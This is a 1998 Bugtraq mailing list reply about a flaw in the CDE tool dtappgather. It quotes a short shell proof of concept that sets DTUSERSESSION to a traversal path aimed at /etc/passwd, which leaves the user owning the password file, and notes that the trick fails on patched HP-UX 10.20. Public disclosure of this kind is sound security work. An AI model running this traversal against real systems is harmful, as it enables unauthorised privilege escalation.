Bugtraq mailing list archives

Re: another /usr/dt/bin/dtappgather feature!

From: bluca () comedia it (Luca Berra)
Date: Wed, 4 Nov 1998 20:06:37 +0100


On Mon, Nov 02, 1998 at 06:05:59PM +0100, Andrea Costantino wrote:

costan@penelope$ export $DTUSERSESSION=../../../../etc/passwd
costan@penelope$ /usr/dt/bin/dtappgather
[.... stuff ....]
costan@penelope$ ls -al /etc/passwd
-r-xr-xr-x   1 costan     users           531 Oct  9 14:08 /etc/passwd

FYI
this does not work on HP-UX 10.20 patched up to August
L.
--
Luca Berra -- bluca () comedia it
    System and Network Manager - CoMedia s.r.l.

Current thread:

Re: another /usr/dt/bin/dtappgather feature!, (continued)
- - Re: another /usr/dt/bin/dtappgather feature! Ben Collins (Nov 04)
    - Re: another /usr/dt/bin/dtappgather feature! Scott Cromar (Nov 05)
    - Re: another /usr/dt/bin/dtappgather feature! J.A. Gutierrez (Nov 06)
    - Re: another /usr/dt/bin/dtappgather feature! Casper Dik (Nov 09)
    - Sun Security Bulletin #00178 joshua grubman (Nov 09)
    - XFree86 3.3.2's setup tool /tmp race Adrian Voinea (Nov 08)
  - Re: another /usr/dt/bin/dtappgather feature! Mike Iglesias (Nov 05)
- quakeworld/win32 DoS Paul Boehm (Nov 04)
  - Secure-linux patch Ernst Jan Plugge (Nov 05)
  - Re: quakeworld/win32 DoS Alexander Sanda (Nov 05)
- Re: another /usr/dt/bin/dtappgather feature! Luca Berra (Nov 04)
  - Re: another /usr/dt/bin/dtappgather feature! Paolo Amendola (Nov 06)